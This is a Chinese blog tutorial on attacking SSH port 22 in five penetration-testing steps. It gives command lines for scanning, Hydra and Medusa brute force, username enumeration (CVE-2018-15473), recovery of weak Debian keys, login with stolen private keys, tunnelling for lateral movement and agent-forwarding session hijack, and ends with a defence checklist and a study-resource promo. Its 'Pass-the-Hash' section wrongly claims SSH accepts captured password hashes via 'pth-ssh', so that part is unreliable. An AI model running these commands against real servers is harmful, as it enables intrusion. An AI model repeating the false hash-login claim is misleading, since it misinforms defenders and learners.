news 2026/6/22 21:31:27

只需5个步骤带你了解渗透测试全过程,SSH端口22如何完全沦陷!

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
只需5个步骤带你了解渗透测试全过程,SSH端口22如何完全沦陷!

前言:为什么 SSH 攻击值得关注?

SSH(Secure Shell)是一种用于在不安全网络上建立安全连接的协议,主要用于远程服务器管理。由于 SSH 端口22通常默认开放,且广泛用于服务器管理,因此它成为攻击者的重点目标。

在这篇文章中,我们将深入探讨如何利用 SSH 端口 22 进行渗透测试,包括信息收集、漏洞评估、暴力破解、漏洞利用以及后渗透攻击等关键步骤。


攻击流程概览

1. 信息收集(Reconnaissance)

  • 使用Nmap扫描开放的 SSH 端口。

  • 获取 SSH 服务器版本信息 (nmap -sV)。

  • 通过Banner Grabbing提取 SSH 横幅信息。

2. 漏洞评估(Vulnerability Assessment)

  • 使用ssh-audit检测 SSH 配置弱点。

  • 在 CVE 数据库中查找相关漏洞。

3. 暴力破解与密钥利用(Brute Force & Key Exploitation)

  • 使用Hydra 或 Medusa进行密码暴力破解。

  • 利用暴露的 SSH 私钥进行认证。

4. 后渗透攻击(Post-Exploitation)

  • 设置SSH 隧道进行横向移动。

  • 劫持现有 SSH 会话。


第一步:信息收集

1. 端口扫描

使用 Nmap 识别开放的 SSH 端口(默认端口为 22):

nmap -p22 <目标IP>

2. 服务版本探测

检测 SSH 服务器版本,以便查找可能的漏洞:

nmap -sV -p22 <目标IP>

3. SSH Banner Grabbing

提取 SSH 服务的横幅信息,获取操作系统版本和 SSH 版本:

nc <目标IP> 22

第二步:漏洞评估

1. 检测已知漏洞(CVE)

一旦获取 SSH 服务器版本,可以在CVE DetailsNVD数据库中搜索已知漏洞。此外,还可以使用Nmap NSE脚本自动扫描 SSH 漏洞:

nmap --script sshv1 -p22 <目标IP> nmap -p22 <目标IP> --script ssh2-enum-algos nmap -p22 <目标IP> --script ssh-hostkey --script-args ssh_hostkey=full nmap -p22 <目标IP> --script ssh-auth-methods --script-args="ssh.user=root"

第三步:暴力破解与密钥攻击

1. 使用 Hydra 进行 SSH 暴力破解

hydra -l <用户名> -P <密码列表> <目标IP> ssh

2. 使用 Medusa 进行 SSH 暴力破解

medusa -h <目标IP> -u <用户名> -P <密码列表> -M ssh

高级攻击技术:Pass-the-Hash(PTH)

在高级渗透测试中,攻击者可能不会直接暴力破解密码,而是利用捕获到的密码哈希进行认证,绕过传统的密码验证机制。

1. 使用 CrackMapExec 进行并行 SSH 暴力破解

crackmapexec ssh <目标IP> -u <用户名> -p <密码>

2. 使用 pth-ssh 进行 Pass-the-Hash 攻击

pth-ssh <用户名>@<目标IP> <密码哈希>

为什么使用 PTH 攻击?

  • 比暴力破解更隐蔽:不会触发登录失败的安全警报。

  • 绕过速率限制:SSH 服务器通常会对失败登录进行限制,而 PTH 直接使用合法哈希进行认证。


第四步:SSH 关键漏洞利用

1. SSH 用户名枚举漏洞(CVE-2018-15473)

攻击者可以利用此漏洞分析 SSH 响应,推测系统中的有效用户名。

python ssh_enum.py <目标IP> -U <用户名列表>

2. SSH OpenSSL 预测随机数漏洞(CVE-2008-0166)

2006-2008 年间,Debian 基于 OpenSSL 生成的 SSH 密钥因随机数种子问题,导致密钥可预测。攻击者可以利用该漏洞恢复私钥。

git clone https://github.com/g0tmi1k/debian-ssh.git cd debian-ssh ./find_key.py <目标IP> <用户名>

第五步:后渗透攻击(Post-Exploitation)

1. 使用暴露的 SSH 私钥直接登陆

如果攻击者获取了 SSH 私钥(如id_rsa),可以直接认证目标系统。

chmod 600 id_rsa ssh -i id_rsa <用户名>@<目标IP>

2. 设置 SSH 隧道进行横向移动

SSH 本地端口转发

将本地端口映射到目标网络的内部端口,以访问内部服务。

ssh -L <本地端口>:<内网IP>:<内网端口> <用户名>@<目标IP>

示例(访问目标内网的 Web 服务器):

ssh -L 8080:10.10.10.5:80 root@192.168.1.10

3. 劫持现有 SSH 会话

检查现有 SSH 进程

攻击者可以查找系统上已建立的 SSH 连接并劫持其会话。

ps aux | grep ssh
利用 SSH 代理转发进行会话劫持
env | grep SSH_AUTH_SOCK ssh-add -l ssh -A <用户名>@<目标IP>

如果 SSH 代理已经存储了密钥,可以直接连接到其他系统,而无需再次输入密码。


总结:如何防御 SSH 攻击?

面对 SSH 端口 22 的攻击,服务器管理员应采取以下措施:

更改默认 SSH 端口(避免使用 22)
禁用密码认证,启用 SSH 密钥认证
限制 SSH 访问,仅允许特定 IP 连接
使用 Fail2Ban 或类似工具防止暴力破解
定期更新 OpenSSH 版本,修复已知漏洞
禁用 SSH 代理转发,防止会话劫持

SSH 安全至关重要,无论是企业服务器还是个人云主机,都应当采取适当的安全措施,以防止攻击者通过端口 22 入侵系统。

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,请看下方扫描即可前往获取


版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/23 11:49:32

数据血缘追踪与质量监控实现方法

一、数据血缘追踪实现方案 1. 技术架构 数据源 → 元数据采集 → 血缘解析 → 存储 → 可视化2. 实现方法 方法一&#xff1a;基于SQL解析&#xff08;静态分析&#xff09; # 示例&#xff1a;使用SQL解析库构建血缘关系 import sqlparse from sql_metadata import Parserdef …

作者头像 李华
网站建设 2026/6/23 6:17:46

【编程干货】大模型开发文档处理秘籍,让你的RAG系统性能提升10倍!

“ 文档处理在不同的业务场景中需要选择不同的处理方式&#xff0c;而不送一概而论。” 关于RAG的知识库构建或者说文档处理&#xff0c;很多会受限于各种条条框框&#xff0c;比如说应该这样处理你的文档&#xff0c;应该那样建立你的知识库&#xff1b;但事实上知识库的建立没…

作者头像 李华
网站建设 2026/6/23 18:37:37

栈与队列学习笔记

一文彻底搞懂「栈和队列」——从零基础到面试常考&#xff08;含详细 Java 代码&#xff09;适合人群&#xff1a;零基础 / 小白&#xff0c;刚接触数据结构与 Java 学完收获&#xff1a;能听懂概念、写出代码、看懂面试题&#xff0c;对“栈”和“队列”形成一套完整的知识体系…

作者头像 李华
网站建设 2026/6/20 17:36:09

Oracle回滚与撤销技术

在Oracle数据库中&#xff0c;回滚&#xff08;Rollback&#xff09;与撤销&#xff08;Undo&#xff09;是保障事务一致性、数据可恢复性的核心机制。Undo通过记录数据修改前的前镜像&#xff08;Before Image&#xff09;&#xff0c;实现事务回滚、读一致性保障和故障恢复&a…

作者头像 李华